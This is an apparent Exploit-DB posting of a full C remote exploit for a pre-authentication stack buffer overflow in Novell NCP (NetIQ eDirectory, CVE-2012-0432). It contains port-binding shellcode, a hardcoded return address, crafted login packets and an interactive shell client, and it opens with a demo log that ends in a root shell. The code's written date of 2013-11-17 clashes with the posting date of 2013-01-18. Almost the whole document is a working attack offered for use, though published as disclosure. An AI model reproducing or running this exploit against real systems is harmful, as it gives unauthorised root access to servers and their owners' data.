Novell NCP – Remote Command Execution

  • 作者: Gary Nilson
    日期: 2013-01-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24205/
  • In the interest of full-disclosure, here is a remote exploit for the
    vulnerability found by David Klein:
    Demonstration
    Novell NCP Pre-Auth Remote Stack Buffer Overflow
    Connecting to host [127.0.0.1]...
    Connected!
    Sending message #1 (23 bytes)
    
    <-- 44 6d 64 54 00 00 00 17 00 00 00 01 00 00 00 00 11 11 00 00 00 00 00
    
    Waiting for response (16 bytes)...
    Received 16 bytes (expecting 16)
    
    --> 74 4e 63 50 00 00 00 10 33 33 00 0a 00 00 00 00
    
    Response #1 is valid, continue exploitation
    Received response connection number 0a
    Sending payload (190 bytes)...
    
    [...omitted...]
    
    190 bytes sent
    Attempting to connect to shell at port 5074...
    Sleeping for 10 seconds...
    Success!
    pwd
    /var/opt/novell/instance0/data/dib
    id
    uid=0(root) gid=0(root) groups=0(root)
    exit
    Connection closed
    
    
    ********** BEGIN EXPLOIT **********
    
    /*
     * Novell NCP Pre-Auth Remote Root Exploit
     * Written by Gary Nilson 11-17-2013
     *
     * Overview (US-CERT/NIST CVES:CVE-2012-0432):
     * Stack-based buffer overflow in the Novell NCP implementation in 
     * NetIQ eDirectory 8.8.7.x before 8.8.7.2 allows remote attackers to have an
     * unspecified impact via unknown vectors.
     *
     * Fix: Issues resolved in eDirectory 8.8 SP7 Patch 2 (20703.00)
     * 
     * Exploited Platform:
     * Novell eDirectory 8.8 SP7 v20701.48 
     * Distribution: Debian GNU/Linux 6.0.6 (squeeze)
     * Linux Kernel: 2.6.32-5-686 
     *
     * Discovery: David Klein (david.r.klein at 676D61696)
     * 
     */
    
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <sys/ioctl.h>
    
    /* 
     * Due to address space randomization on my platform I had to rely on the 
     * following in order to reliably execute the payload:
     * - At the moment that %eip is overwritten, %esi happens to point to the payload 
     * located on the heap (horray).
     * - Address spaced mapped from 0x08087000-0x080a6000 (Data segment) contains
     * the handy instruction jmp *%esi (located at 0x080a4697).
     */
    #define NCP_PORT 524
    #define SHELL_BIND_PORT 5074
    #define RET_ADDRESS 0x080a4697
    #define RET_PAYLOAD_OFFSET 65
    #define PORT_PAYLOAD_OFFSET 24
    #define PAYLOAD_SIZE 190
    #define SHELL_CONNECT_DELAY 10
    
    int main(int argc, char **argv){
    
    struct hostent *host;
    struct sockaddr_in target_addr;
    int sockfd;
    fd_set rdfdset, fdsave;;
    
    int len_in;
    int i;
    int payload_size;
    int ret_address;
    short shell_port;
    
    int msg1_buffsize;
    int msg2_headersize;
    int recv_buffsize;
    int shellcode_size;
    
    char iochar;
    char *msg2_buff;
    char *recv_buff;
    
    /* Shellcode (adapted):
     * s0t4ipv6@Shellcode.com.ar
     * x86 portbind a shell in port 5074
     */
    
    char port_bind[] = "\xeb\x04" /* jmp +4 bytes*/ 
     "\x00\x00\x00\x00" /* eip */
     "\x31\xc0\x50\x40\x89\xc3\x50\x40" /* begin shellcode */
     "\x50\x89\xe1\xb0\x66\xcd\x80\x31"
     "\xd2\x52\x66\x68\x13\xd2\x43\x66"
     "\x53\x89\xe1\x6a\x10\x51\x50\x89"
     "\xe1\xb0\x66\xcd\x80\x40\x89\x44"
     "\x24\x04\x43\x43\xb0\x66\xcd\x80"
     "\x83\xc4\x0c\x52\x52\x43\xb0\x66"
     "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
     "\x80\x41\x80\xf9\x03\x75\xf6\x52"
     "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
     "\x62\x69\x89\xe3\x52\x53\x89\xe1"
     "\xb0\x0b\xcd\x80";
    
    
    char msg1[] = "\x44\x6d\x64\x54" /* NCP TCP id */
    "\x00\x00\x00\x17" 
    "\x00\x00\x00\x01\x00\x00\x00\x00"
    "\x11\x11\x00\x00\x00\x00\x00";
    
    char recv[] = "\x74\x4e\x63\x50" /* TCP RCVD id*/
    "\x00\x00\x00\x10" /* length ? */
    "\x33\x33" /* service connection reply */
    "\x00" /* sequence number*/
    "\x10" /* connection number*/
    "\x00" /* task number*/
    "\x00" /* reserved */
    "\x00" /* completion code*/
    "\x00";/* ?? */
    
    /* special thanks to the ncpfs source */
    char msg2_header[] = "\x44\x6d\x64\x54"/* NCP TCP id */
    "\x00\x00\x01\xa0" /* request_size + 16 + siglen + 6 */
    "\x00\x00\x00\x01" /* version (1)*/
    "\x00\x00\x00\x05" /* (reply buffer size)*/
     /* signature would go here*/
    "\x22\x22" /* cmd*/
    "\x01" /* conn->sequence */
    "\xff" /* conn->i.connection ??? */
    "\x00" /* task (1) */
    "\x00" /* conn->i.connection >> 8*/
    "\x17" /* Login Object FunctionCode (23) */
    "\x00\xa7" /* SubFuncStrucLen*/ 
    "\x18" /* SubFunctionCode*/
    "\x90\x90" /* object type*/
    "\x50";/* ClientNameLen*/
    
    
    if (argc != 2){
    fprintf(stderr, "Syntax error: usage: %s target\n", argv[0]);
    exit(EXIT_FAILURE);
    }
    
    msg1_buffsize = sizeof(msg1)/(sizeof(msg1[0]))-1;
    msg2_headersize = sizeof(msg2_header)/(sizeof(msg2_header[0]))-1;
    recv_buffsize = sizeof(recv)/sizeof(recv[0])-1;
    shellcode_size = sizeof(port_bind)/sizeof(port_bind[0])-1;
    
    printf("Novell NCP Pre-Auth Remote Stack Buffer Overflow\n");
    
    memset(&target_addr, 0, sizeof(target_addr));
    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(NCP_PORT);
    
    if ((host = (struct hostent *)gethostbyname(argv[1])) == NULL){
    perror("Error looking up hostname");
    exit(EXIT_FAILURE);
    }
    
    memcpy(&target_addr.sin_addr, host->h_addr_list[0], host->h_length);
    
    printf("Connecting to host [%s]...\n", argv[1]);
    
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("Error creating socket");
    exit(EXIT_FAILURE);
    }
    
    if ((connect(sockfd, 
    	 (const struct sockaddr *)&target_addr, 
    	 sizeof(target_addr))) < 0){
    perror("Unable to connect to host");
    close(sockfd);
    exit(EXIT_FAILURE);
    }
    printf("Connected!\n");
    printf("Sending message #1 (%d bytes)\n", msg1_buffsize);
    
    if (write(sockfd, msg1, msg1_buffsize) < 0){
    perror("Error sending msg1");
    close(sockfd);
    exit(EXIT_FAILURE);
    }
    printf("\n<-- ");
    for (i = 0; i < msg1_buffsize; i++)
    printf("%.2x ", msg1[i]);
    printf("\n\n");
    
    printf("Waiting for response...\n");
    
    recv_buff = malloc(recv_buffsize);
    len_in = read(sockfd, recv_buff, recv_buffsize);
    printf("Received %d bytes (expecting %d)\n", len_in, recv_buffsize);
    
    printf("\n--> ");
    for (i = 0; i < recv_buffsize; i++)
    printf("%.2x ", recv_buff[i]);
    printf("\n\n");
    
    if (memcmp(recv_buff, recv, 4) == 0)
    printf("Response #1 is valid, continue exploitation\n");
    else{
    printf("Response $1 does not match, aborting!\n");
    close(sockfd);
    free(recv_buff);
    }
    
    printf("Received response connection number %.2x\n", (char) recv_buff[11]);
    printf("Sending payload (%d bytes)...\n", PAYLOAD_SIZE);
    
    msg2_buff = malloc(PAYLOAD_SIZE);
    memset(msg2_buff, 0x90, PAYLOAD_SIZE);
    memcpy(msg2_buff, msg2_header, msg2_headersize); 
     
    // yes, this assumes we are little endian
    payload_size = htonl(PAYLOAD_SIZE);
    memcpy(msg2_buff+4, &payload_size, 4);
    memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET-2, port_bind, shellcode_size);
    
    ret_address = RET_ADDRESS;
    memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET, &ret_address, 4);
    shell_port = htons(SHELL_BIND_PORT);
    memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET+PORT_PAYLOAD_OFFSET, &shell_port, 2);
    
    msg2_buff[19] = recv_buff[11];
    free(recv_buff);
    
    printf("\n<-- ");
    for (i = 0; i < PAYLOAD_SIZE; i++)
    printf("%.2x ", msg2_buff[i] & 0xff);
    printf("\n\n");
    
    if ((i = write(sockfd, msg2_buff, PAYLOAD_SIZE)) < 0){
    perror("Error sending msg2");
    close(sockfd);
    free(msg2_buff);
    exit(EXIT_FAILURE);
    }
    else
    printf("%d bytes sent\n", i, PAYLOAD_SIZE);
    
    
    printf("Sleeping for %d seconds...\n", SHELL_CONNECT_DELAY);
    sleep(SHELL_CONNECT_DELAY);
    
    close(sockfd);
    free(msg2_buff);
    
    printf("Attempting to connect to shell at port %d...\n", SHELL_BIND_PORT);
    target_addr.sin_port = htons(SHELL_BIND_PORT);
    
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("Error creating socket");
    exit(EXIT_FAILURE);
    }
    
    if ((connect(sockfd, 
    	 (const struct sockaddr *)&target_addr, 
    	 sizeof(target_addr))) < 0){
    perror("Unable to connect to host");
    close(sockfd);
    exit(EXIT_FAILURE);
    }
    printf("Success!\n");
    
    FD_ZERO(&rdfdset);
    FD_SET(STDIN_FILENO, &rdfdset);
    FD_SET(sockfd, &rdfdset);
    len_in = 0;
    
    fdsave = rdfdset;
    
    while (1){
    
    if (select(sockfd+1, &rdfdset, NULL, NULL, NULL) < 0){
    perror("Select error");
    close(sockfd);
    exit(EXIT_FAILURE);
    }
    
    for (i=STDIN_FILENO; i<=sockfd; i++){
    if (FD_ISSET(i, &rdfdset)){
    	ioctl(i, FIONREAD, &len_in);
    	if (len_in == 0){
    	printf("Connection closed\n");
    	exit(EXIT_SUCCESS);
    	}
    
    	while (len_in--){
    	read(i, &iochar, 1);
    	write(i == sockfd ? STDOUT_FILENO : sockfd, &iochar, 1);
    	}
    
    }
    
    }
    
    rdfdset = fdsave;
    }
    
    }